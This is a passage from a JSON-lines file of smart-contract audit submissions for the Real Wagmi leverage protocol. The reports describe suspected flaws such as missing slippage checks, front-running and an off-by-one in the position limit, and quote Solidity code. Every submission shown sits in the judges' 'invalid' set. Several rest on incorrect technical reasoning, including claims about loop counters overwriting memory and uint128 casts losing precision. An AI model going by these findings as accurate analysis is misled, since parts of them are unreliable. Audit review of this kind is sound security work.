Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L915-L956\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395-L453\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L967-L974\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L184-L197\n\n## Tool used\n\nManual Review\n\n## Recommendation\nThere are several ways this token payment could be done like tracking the sender during fee pickup and executing the payment, or subtracting protocol fees from the user's owed variable AFTER the payment occurs.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/068.md"}} +{"title":"No assignment to the state variable `tokenIdToBorrowingKeys`","severity":"info","body":"Careful Seafoam Bat\n\nhigh\n\n# No assignment to the state variable `tokenIdToBorrowingKeys`\n## Summary\n\nNo assignment to the state variable `tokenIdToBorrowingKeys`\n\n## Vulnerability Detail\n\nIn contract, there is no assignment to the state variable `tokenIdToBorrowingKeys`, causing all borrowingKeys obtained through the `tokenIdToBorrowingKeys` is empty.\n\n## Impact\n\nDOS\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L101C41-L101C41\n\n```solidity\n /// NonfungiblePositionManager tokenId => BorrowingKeys[]\n mapping(uint256 => bytes32[]) public tokenIdToBorrowingKeys;\n```\n\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the corresponding assignment","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/066.md"}} +{"title":"In `_v3SwapExactInput`, `amountOut` is underflowed","severity":"info","body":"Careful Seafoam Bat\n\nhigh\n\n# In `_v3SwapExactInput`, `amountOut` is underflowed\n## Summary\n\nIn `_v3SwapExactInput`, `amountOut` is underflowed\n\n## Vulnerability Detail\n\nIn code\n\n```soli\n(int256 amount0Delta, int256 amount1Delta) = IUniswapV3Pool(\n computePoolAddress(params.tokenIn, params.tokenOut, params.fee)\n ).swap(\n address(this), //recipient\n zeroForTokenIn,\n params.amountIn.toInt256(),\n (zeroForTokenIn ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1),\n abi.encode(params.fee, params.tokenIn, params.tokenOut)\n );\n // Calculate the actual amount of output tokens received\n amountOut = uint256(-(zeroForTokenIn ? amount1Delta : amount0Delta));\n```\n\nWhen `zeroForTokenIn = True`, `amount1Delta` is positive. So `amountOut` will underflow, because `uint256(-amount1Delta)` will be a huge integer, causing the borrow to fail.\n\n## Impact\n\nDOS\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L221C24-L221C24\n\n```solidity\n (int256 amount0Delta, int256 amount1Delta) = IUniswapV3Pool(\n computePoolAddress(params.tokenIn, params.tokenOut, params.fee)\n ).swap(\n address(this), //recipient\n zeroForTokenIn,\n params.amountIn.toInt256(),\n (zeroForTokenIn ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1),\n abi.encode(params.fee, params.tokenIn, params.tokenOut)\n );\n // Calculate the actual amount of output tokens received\n amountOut = uint256(-(zeroForTokenIn ? amount1Delta : amount0Delta));\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\n```solidity\namountOut = uint256(zeroForTokenIn ? amount1Delta : amount0Delta);\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/065.md"}} +{"title":"Exchange operations on Uniswap V3 are susceptible to front-running","severity":"info","body":"Colossal Tan Hyena\n\nmedium\n\n# Exchange operations on Uniswap V3 are susceptible to front-running\n## Summary\nThe protocol calls the Uniswap V3 swap function internally to convert the sale token into the hold token. This operation may be vulnerable to front-running, where malicious actors monitor the transaction pool for conversions taking place at specific price points, add liquidity to the Uniswap V3 pool at those price levels, and then withdraw the liquidity after the borrower's conversion, effectively profiting from transaction fees.\n\n## Vulnerability Detail\nIn the `LiquidityBorrowingManager._precalculateBorrowing()` function , the protocol may call the Uniswap V3 swap function internally to convert the \"sale token\" into the \"hold token.\" However, this action could potentially lead to front-running.\n```solidity\n cache.holdTokenBalance += _v3SwapExactInput(\n v3SwapExactInputParams({\n fee: params.internalSwapPoolfee,\n tokenIn: params.saleToken,\n tokenOut: params.holdToken,\n amountIn: saleTokenBalance,\n amountOutMinimum: 0\n })\n );\n\n```\n\nA borrower within a protocol intends to swap a \"sale token\" for a \"hold token\" using Uniswap V3's swap function as part of a borrowing operation. This transaction may be visible on the blockchain before it's confirmed.\nMalicious actors closely monitor pending transactions and recognize when this specific transaction occurs at a particular price range or tick on Uniswap V3.\nThe front-runners quickly respond by adding liquidity to the Uniswap V3 pool in the tick range relevant to the borrower's swap.\nThe borrower's transaction is confirmed, and the swap takes place as planned. However, the liquidity added by the front-runners becomes available, resulting in an immediate profit for them.\nThe front-runners profit from fees generated by the borrower's swap, as they provided the liquidity for it. They can subsequently remove their added liquidity, leaving with the earned fees and, potentially, a share of the liquidity pool.\n\n## Impact\nThe swap operation may be vulnerable to front-running.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L886-L893\n\n## Tool used\n\nManual Review\n\n## Recommendation","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/061.md"}} +{"title":"Missing check for `sqrtRatioAX96 > 0`","severity":"info","body":"Colossal Tan Hyena\n\nmedium\n\n# Missing check for `sqrtRatioAX96 > 0`\n## Summary\nWhen `sqrtRatioAX96` is zero, it can lead to problematic calculations, such as division by zero or other errors. Uniswap V3 addresses a similar concern by incorporating a requirement `require(sqrtRatioAX96 > 0)`, which ensures that `sqrtRatioAX96` is always greater than zero.\n\n## Vulnerability Detail\nIn the `LiquidityAmounts.getAmount0ForLiquidity()` function, there is an issue with `sqrtRatioAX96` not being checked for a value of 0 before performing calculations. If `sqrtRatioAX96` is 0, it could lead to problematic calculations, possibly resulting in division by zero or other errors.\nIn [Uniswap V3](https://github.com/Uniswap/v4-core/blob/60de80a37b26e4d36bd573430b5b4bf53d0a3d36/contracts/libraries/SqrtPriceMath.sol#L159), a similar calculation is safeguarded with the requirement `require(sqrtRatioAX96 > 0)` to ensure that `sqrtRatioAX96` is not zero, preventing potential issues. The absence of such a check in this code could pose a risk in scenarios where `sqrtRatioAX96` might become 0, and it's essential to validate this value to ensure the correctness and safety of the calculations.\n```solidity\nfunction getAmount0ForLiquidity(\n uint160 sqrtRatioAX96,\n uint160 sqrtRatioBX96,\n uint128 liquidity\n ) internal pure returns (uint256 amount0) {\n if (sqrtRatioAX96 > sqrtRatioBX96)\n (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n return\n FullMath.mulDiv(\n uint256(liquidity) << FixedPoint96.RESOLUTION,\n sqrtRatioBX96 - sqrtRatioAX96,\n sqrtRatioBX96\n ) / sqrtRatioAX96;\n }\n\n\nfunction getAmount0Delta(uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity, bool roundUp)\n internal\n pure\n returns (uint256 amount0)\n {\n unchecked {\n if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);\n\n uint256 numerator1 = uint256(liquidity) << FixedPoint96.RESOLUTION;\n uint256 numerator2 = sqrtRatioBX96 - sqrtRatioAX96;\n\n require(sqrtRatioAX96 > 0);\n\n return roundUp\n ? UnsafeMath.divRoundingUp(FullMath.mulDivRoundingUp(numerator1, numerator2, sqrtRatioBX96), sqrtRatioAX96)\n : FullMath.mulDiv(numerator1, numerator2, sqrtRatioBX96) / sqrtRatioAX96;\n }\n }\n\n```\n\n## Impact\nThe absence of the check for sqrtRatioAX96 > 0 could lead to potential issues in the calculation process.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L129\n\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a validation check to ensure that `sqrtRatioAX96` is a positive value before performing any calculations that rely on it","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/060.md"}} +{"title":"Any position can be taken over immediately","severity":"info","body":"Restless Ocean Chipmunk\n\nmedium\n\n# Any position can be taken over immediately\n## Summary\n\nIf a new borrower knows the borrowing key of the original borrower, he can take over the borrowed position anytime\n\n## Vulnerability Detail\n\nWhen creating a new borrowing position, a borrowing key is created using the address of the borrower, the saleToken and the holdToken.\n\n```solidity\n function _initOrUpdateBorrowing(\n address saleToken,\n address holdToken,\n uint256 accLoanRatePerSeconds\n ) private returns (uint256 feesDebt, bytes32 borrowingKey, BorrowingInfo storage borrowing) {\n // Compute the borrowingKey using the msg.sender, saleToken, and holdToken\n-> borrowingKey = Keys.computeBorrowingKey(msg.sender, saleToken, holdToken);\n```\n\nWhen `takingOverDebt()`, the new borrower just has to top up the collateral amount and pay any fees due and he will take over the position of the original borrower. \n\nUnless the condition for taking over the position is for the new borrowers to pay more platform fees, this seems like a griefing attack to original borrowers as new users can just take over anyone's loan.\n\n## Impact\n\nGriefing attack towards the original borrowers. The original borrowers will lose their liquidation bonus as well.\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L395-L453\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nHave certain conditions for users to take over the original borrower, for example having a fixed deadline (maybe 10 hours after a new borrow position is created can a new borrower then take over his position )","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/058.md"}} +{"title":"No slippage and deadline check when decreasing liquidity","severity":"info","body":"Restless Ocean Chipmunk\n\nmedium\n\n# No slippage and deadline check when decreasing liquidity\n## Summary\n\nThere is no slippage and deadline check when decreasing the liquidity of a given position\n\n## Vulnerability Detail\n\nWhen a borrower calls `borrow()`, `_precalculateBorrowing()` is called which calls `_extractLiquidity()`. `_extractLiquidity()` calls `_decreaseLiquidity()`, which calls `decreaseLiquidity` in the nonFungiblePositionManager of Uniswapv3.\n\n```solidity\nFile: LiquidityManager.sol\n349: function _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n350: // Call the decreaseLiquidity function of underlyingPositionManager contract\n351: // with DecreaseLiquidityParams struct as argument\n352: (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n353: INonfungiblePositionManager.DecreaseLiquidityParams({\n354: tokenId: tokenId,\n355: liquidity: liquidity,\n356: amount0Min: 0, //@audit no minOut\n357: amount1Min: 0, \n358: deadline: block.timestamp //@audit no deadline check\n359: })\n360: );\n```\n\nThere is no check for slippage or deadline when decreasing the liquidity. The uniswapV3 Docs mentions that \n\n> amount0Min and amount1Min should be adjusted to create slippage protection.\n\nReference: https://docs.uniswap.org/contracts/v3/guides/providing-liquidity/decrease-liquidity\n\nThere are also other places where slippage and deadline are not checked, such as increasing liquidity and underlyingQuoterV2.quoteExactInputSingle, where sqrtPriceLimitX96 is 0.\n\n## Impact\n\nNo slippage or deadline check leads to undesired swapping outcome\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L349-L360\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L398-L407\n## Tool used\n\nManual Review\n\n## Recommendation\n\nRecommend setting a slippage and deadline check.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/054.md"}} +{"title":"MAX_NUM_USER_POSOTION can be bypassed","severity":"info","body":"Restless Ocean Chipmunk\n\nmedium\n\n# MAX_NUM_USER_POSOTION can be bypassed\n## Summary\n\nMAX_NUM_USER_POSOTION can be bypassed by 1 position.\n\n## Vulnerability Detail\n\nIn `LiquidityBorrowingManager.sol`, if the user calls `borrow()` or `takeOverDebt()` and if the borrowed amount is 0, then the borrow position is a new position. This position will be added to the `allUserBorrowingKeys` struct.\n\nHowever, the check for maximum number of position is called first before pushing the array:\n\n```solidity\nFile: LiquidityBorrowingManager.sol\n817: if (!update) {\n818: // If it's a new position, ensure that the user does not have too many positions\n819: bytes32[] storage allUserBorrowingKeys = userBorrowingKeys[msg.sender];\n820: (allUserBorrowingKeys.length > Constants.MAX_NUM_USER_POSOTION).revertError(\n821: ErrLib.ErrorCode.TOO_MANY_USER_POSITIONS\n822: );\n823: // Add the borrowingKey to the user's borrowing keys\n824: allUserBorrowingKeys.push(borrowingKey);\n825: }\n```\n\nIf the max number of user position is 10, and there are 10 positions so far, the check will pass and a new, 11 position will be pushed into the mapping, which should not be the case. \n\n## Impact\n\nMax user position will be overcounted by 1\n\n## Code Snippet\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/LiquidityBorrowingManager.sol#L817-L825\n\n## Tool used\n\nManual Review\n\n## Recommendation\n\nAdd the borrowingKey to the user's borrowing keys first before checking for the max number of position.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/049.md"}} +{"title":"The loop counter i is incremented without checks on the length of the tokens array. This can cause an overflow and potentially overwrite memory.","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# The loop counter i is incremented without checks on the length of the tokens array. This can cause an overflow and potentially overwrite memory.\n## Summary\n• Incrementing a loop counter without checks can cause overflow and memory corruption\n• Should validate the counter against array length before incrementing\n• Bounded increment prevents out of bounds access\n\n## Vulnerability Detail\nThe loop counter `i` is incremented without checking the length of the tokens array. This can cause an overflow and potentially overwrite memory.\nHere is an example to illustrate the issue:\n\n function getBalances(address[] calldata tokens) external view returns (uint256[] memory balances) {\n\n uint256 length = tokens.length;\n \n balances = new uint256[](length);\n\n for (uint256 i; i < length; ) {\n // i is incremented without bounds checking\n unchecked {\n ++i; \n }\n }\n }\n\nIf tokens has a length of 0, then length will be 0. But the loop will still increment i, causing it to become 1, then 2, etc. This will overwrite memory outside the bounds of the balances array.\n## Impact\n1. Incrementing the loop counter i without checking the length of the loans array is dangerous and can lead to memory corruption.\n2. the unchecked loop counter increment can lead to unauthorized modifications of critical contract storage variables. This has a huge potential impact - from simple errors and bugs at best, to exploitability and stolen funds at worst.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/Vault.sol#L28-L40\n## Tool used\n\nManual Review\n\n## Recommendation\nTo fix this, the increment should be bounded by the length:\n\n for (uint256 i = 0; i < length; ) {\n // do stuff\n\n if (i < length - 1) { \n ++i; \n }\n }\n\nNow `i` can only increment up to` length - 1`, preventing the overflow.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/048.md"}} +{"title":"Rounding down the collected amounts to uint128 in _decreaseLiquidity can potentially cause issues with lost precision when restoring liquidity in _increaseLiquidity.","severity":"info","body":"Acidic Shamrock Whale\n\nmedium\n\n# Rounding down the collected amounts to uint128 in _decreaseLiquidity can potentially cause issues with lost precision when restoring liquidity in _increaseLiquidity.\n## Summary\nRounding down the collected amounts to uint128 in _decreaseLiquidity can potentially cause issues with lost precision when restoring liquidity in _increaseLiquidity. \n## Vulnerability Detail\nRounding down the collected amounts to uint128 in _decreaseLiquidity can potentially cause issues with lost precision when restoring liquidity in _increaseLiquidity. Here is a more detailed explanation:\nThe collect function in _decreaseLiquidity rounds the collected amounts to uint128:\n\n (amount0, amount1) = underlyingPositionManager.collect(\n INonfungiblePositionManager.CollectParams({\n tokenId: tokenId, \n recipient: address(this),\n amount0Max: uint128(amount0), \n amount1Max: uint128(amount1)\n })\n );\n\nLater in _increaseLiquidity, these uint128 amounts are passed directly to increaseLiquidity:\n\n (uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n tokenId: loan.tokenId,\n amount0Desired: amount0, \n amount1Desired: amount1,\n ...\n })\n );\nThe issue is that increaseLiquidity expects the full uint256 amounts, so passing the rounded uint128 values can lead to lost precision.\nFor example, let's say the actual collected amounts are:\n•\tamount0 = 10000000000000001\n•\tamount1 = 20000000000000001\nWhen rounded to uint128, these become:\n•\tamount0 = 10000000000000001\n•\tamount1 = 20000000000000000\nNow the lost precision in amount1 results in less liquidity being restored than expected.\n\n## Impact\nSome amount of tokens may be left unaccounted for when increasing liquidity back in _increaseLiquidity().\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L368-L374\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L398-L402\n## Tool used\n\nManual Review\n\n## Recommendation\nThe collect amounts should be kept as uint256 and only rounded when passing to increaseLiquidity:\n\n // Collect amounts as uint256\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.collect(...);\n\n // Only round down when passing to increaseLiquidity\n (uint128 restoredLiquidity, , ) = underlyingPositionManager.increaseLiquidity(\n INonfungiblePositionManager.IncreaseLiquidityParams({\n amount0Desired: uint128(amount0), \n amount1Desired: uint128(amount1), \n ...\n })\n );\n\nThis ensures no precision is lost before increasing liquidity. The uint128 conversion is still needed for increaseLiquidity but done as late as possible.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/046.md"}} +{"title":"Blindly adding 1 to amount0 and amount1 in _increaseLiquidity() can result in providing more liquidity than intended.","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# Blindly adding 1 to amount0 and amount1 in _increaseLiquidity() can result in providing more liquidity than intended.\n## Summary\nWhen calculating amounts for increaseLiquidity(), it blindly adds 1 to amount0 and amount1. This could result in providing more liquidity than intended if those amounts were already at non-zero value. \n## Vulnerability Detail\nBlindly adding 1 to amount0 and amount1 in _increaseLiquidity() can result in providing more liquidity than intended.\nThe relevant code is:\n\n function _increaseLiquidity(\n address saleToken, \n address holdToken,\n LoanInfo memory loan,\n uint256 amount0,\n uint256 amount1\n ) private {\n\n if (amount0 > 0) ++amount0;\n\n if (amount1 > 0) ++amount1;\n\n // Call increaseLiquidity with increased amounts\n\n }\n\n\nHere is how it can lead to excess liquidity:\n• Let's say amount0 and amount1 originally had non-zero values, say 100 and 200 respectively\n• The _increaseLiquidity() function blindly adds 1 to these amounts\n• So now amount0 becomes 101 and amount1 becomes 201\n• These new inflated amounts are passed to increaseLiquidity()\n• More liquidity will be added than required, based on the original amount0 and amount1 values of 100 and 200\nThis introduces a vulnerability where an attacker could extract some liquidity from the position, and then exploit this blind increment to add more liquidity than they returned, effectively stealing funds.\n\n\n## Impact\nThe impact is that if amount0 and amount1 already had non-zero values before calling _increaseLiquidity(), adding 1 to those values would increase the liquidity provided.\nFor example, if amount0 was 10 and amount1 was 20 before calling this function, they would be increased to 11 and 21 respectively. So the final liquidity provided would be higher than if the original amounts were used.\nThis introduces a vulnerability where an attacker could exploit this to steal funds by providing more liquidity than they should be able to.\nIn summary, the blind increment allows attackers to artificially modify liquidity holdings, disrupt pool accounting, and steal funds by depositing less assets than the liquidity added. \n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L394-L395\n## Tool used\n\nManual Review\n\n## Recommendation\nThe increment should only happen if amount0 and amount1 values are 0 originally:\n\n if (amount0 == 0) {\n ++amount0; \n }\n\n if (amount1 == 0) {\n ++amount1;\n }\n\nThis ensures the increment only happens to avoid rounding down from non-zero amounts to zero, but doesn't blindly add 1 in all cases.\nSo in summary, the blind increment can lead to excess liquidity vulnerability, and should be guarded to only apply when amount values are originally zero.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/045.md"}} +{"title":"Lack of slippage protection when reducing liquidity","severity":"info","body":"Colossal Tan Hyena\n\nhigh\n\n# Lack of slippage protection when reducing liquidity\n## Summary\nWhen calling Uniswap V3's `decreaseLiquidityParams()`, both `amount0Min` and `amount1Min` are set to zero. This absence of minimum acceptable amounts (slippage protection) could lead to unintended consequences during liquidity reduction. \n## Vulnerability Detail\nIn the function `LiquidityManager._decreaseLiquidity()`, when calling Uniswap V3's `decreaseLiquidity()`, setting both `amount0Min` and `amount1Min` to 0 essentially means that there is no slippage protection in place. This omission of slippage protection can lead to several issues, mainly due to the lack of a minimum expected amount for each asset when decreasing liquidity in a Uniswap V3 position.\n```solidity\n function _decreaseLiquidity(uint256 tokenId, uint128 liquidity) private {\n // Call the decreaseLiquidity function of underlyingPositionManager contract\n // with DecreaseLiquidityParams struct as argument\n (uint256 amount0, uint256 amount1) = underlyingPositionManager.decreaseLiquidity(\n INonfungiblePositionManager.DecreaseLiquidityParams({\n tokenId: tokenId,\n liquidity: liquidity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n })\n );\n\n```\n\n## Impact\nUsers may incur losses\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/LiquidityManager.sol#L349-L376\n## Tool used\n\nManual Review\n\n## Recommendation\nIt is advisable to set appropriate minimum amounts for both `amount0Min` and `amount1Min` when interacting with Uniswap V3's `decreaseLiquidityParams()`.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/044.md"}} +{"title":"Unchecked return value for low level call in _tryApprove() function","severity":"info","body":"Smooth Honeysuckle Sawfish\n\nmedium\n\n# Unchecked return value for low level call in _tryApprove() function\n## Summary\nLow-level calls will never throw an exception, instead they will return false if they encounter an exception, whereas contract calls will automatically throw.\n\n## Vulnerability Detail\nIf the return value of a low-level message call is not checked then the execution will resume even if the called contract throws an exception. If the call fails accidentally or an attacker forces the call to fail, then this may cause unexpected behavior in the subsequent program logic.\n\nIn the case that you use low-level calls, be sure to check the return value to handle possible failed calls.\n\n## Impact\nUnchecked returns can cause **unexpected behavior**, As a result, a certain amount of tokens is not approved\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol?plain=1#L76-L79\n```solidity\n (bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, spender, amount)\n );\n return success && (data.length == 0 || abi.decode(data, (bool)));\n```\n\n## Tool used\n\nManual Review\n\n## Recommendation\nEnsure that the return value of a low-level call is checked or logged.\n\n```solidity\n(bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, spender, amount)\n);\n\nif (success){\n return success && (data.length == 0 || abi.decode(data, (bool)));\n}\n```\n\nor \n\n```solidity\n(bool success, bytes memory data) = token.call(\n abi.encodeWithSelector(IERC20.approve.selector, spender, amount)\n);\nrequire(success, \"...\");\nreturn success && (data.length == 0 || abi.decode(data, (bool)));\n```","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/043.md"}} +{"title":"Not using deadline while swapping on UniswapV3","severity":"info","body":"Mammoth Berry Ostrich\n\nmedium\n\n# Not using deadline while swapping on UniswapV3\n## Summary\nWhile making a swap on UniswapV3 the caller should use the slippage parameter amountOutMinimum and deadline parameter to avoid losing funds. Though the slippage parameter (amountOutMinimum) is there, the deadline param is missing.\n## Vulnerability Detail\ndeadline lets the caller specify a deadline parameter that enforces a time limit by which the transaction must be executed. Without a deadline parameter, the transaction may sit in the mempool and be executed at a much later time potentially resulting in a worse price for the user.\n## Impact\nInconvinience for the user and might be subjected to pay more.\n## Code Snippet\n function _v3SwapExactInput(\n v3SwapExactInputParams memory params\n ) internal returns (uint256 amountOut) {\n // Determine if tokenIn has a 0th token\n bool zeroForTokenIn = params.tokenIn < params.tokenOut;\n // Compute the address of the Uniswap V3 pool based on tokenIn, tokenOut, and fee\n // Call the swap function on the Uniswap V3 pool contract\n (int256 amount0Delta, int256 amount1Delta) = IUniswapV3Pool(\n computePoolAddress(params.tokenIn, params.tokenOut, params.fee)\n ).swap(\n address(this), //recipient\n zeroForTokenIn,\n params.amountIn.toInt256(),\n (zeroForTokenIn ? MIN_SQRT_RATIO + 1 : MAX_SQRT_RATIO - 1),\n abi.encode(params.fee, params.tokenIn, params.tokenOut)\n );\n // Calculate the actual amount of output tokens received\n amountOut = uint256(-(zeroForTokenIn ? amount1Delta : amount0Delta));\n // Check if the received amount satisfies the minimum requirement\n if (amountOut < params.amountOutMinimum) {\n revert SwapSlippageCheckError(params.amountOutMinimum, amountOut);\n }\n }\n\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L204C1-L226C6\n## Tool used\n\nManual Review\n\n## Recommendation\nUse parameter deadline correctly to avoid loss of funds.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/042.md"}} +{"title":"`_patchAmountsAndCallSwap() will not operate correctly","severity":"info","body":"Colossal Tan Hyena\n\nhigh\n\n# `_patchAmountsAndCallSwap() will not operate correctly\n## Summary\nThe `amountOutMin` parameter is set to 0 when passed to the `_patchAmountsAndCallSwap()` function. Consequently, the subsequent check to ensure that amountOut is greater than amountOutMin will always fail.\n\n## Vulnerability Detail\nThe function `ApproveSwapAndPay._patchAmountsAndCallSwap()` is used for executing token swaps within the protocol, ensuring that the external swap targets are appropriately approved and that the swaps meet the specified criteria.\nThe function verifies whether the received amount meets the minimum requirement specified by amountOutMin. If the received amount is zero or falls short of the minimum requirement, the function will revert the transaction.\n```solidity\n amountOut = _getBalance(tokenOut) - balanceOutBefore;\n // Checking if the received amount satisfies the minimum requirement\n if (amountOut == 0 || amountOut < amountOutMin) {\n revert SwapSlippageCheckError(amountOutMin, amountOut);\n }\n\n```\n\nIn the `LiquidityBorrowingManager._precalculateBorrowing()` function, the `amountOutMin` parameter is being set to 0 when it's passed to the `_patchAmountsAndCallSwap()` function. This configuration means that the subsequent check, if (amountOut == 0 || amountOut < amountOutMin), will always fail.\n```solidity\n if (saleTokenBalance > 0) {\n if (params.externalSwap.swapTarget != address(0)) {\n // Call the external swap function and update the hold token balance in the cache\n cache.holdTokenBalance += _patchAmountsAndCallSwap(\n params.saleToken,\n params.holdToken,\n params.externalSwap,\n saleTokenBalance,\n 0\n );\n```\n\n## Impact\nThe subsequent check to ensure that `amountOut` is greater than `amountOutMin` will always fail\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-10-real-wagmi/blob/main/wagmi-leverage/contracts/abstract/ApproveSwapAndPay.sol#L171\n## Tool used\n\nManual Review\n\n## Recommendation\nTo address this issue, it's important to correctly set the amountOutMin parameter based on the specific requirements of the swap and the expected output.","dataSource":{"name":"sherlock-audit/2023-10-real-wagmi-judging","repo":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging","url":"https://github.com/sherlock-audit/2023-10-real-wagmi-judging/blob/main//invalid/040.md"}} +{"title":"completeRepayment flag just checks loans.length == 0. But loans could be manipulated inside the loop","severity":"info","body":"Acidic Shamrock Whale\n\nhigh\n\n# completeRepayment flag just checks loans.length == 0. But loans could be manipulated inside the loop\n## Summary\nThe key issue is that loans is a storage array that can be manipulated inside the _calculateEmergencyLoanClosure function.\n## Vulnerability Detail\nThe completeRepayment flag just checks loans.length == 0. But loans could be manipulated inside the loop, so this can not be accurate\n\nThe key issue here is that loans is a storage array that can be manipulated inside the _calculateEmergencyLoanClosure function.\nSpecifically, this line is problematic:\n\n loans[i] = loans[loans.length - 1];\nThis replaces the loan at index `i` with the last loan in the array. Then `loans.pop()` is called to remove the last element.\nThe problem is that `loans.length` is not decremented when an element is replaced, so it remains the 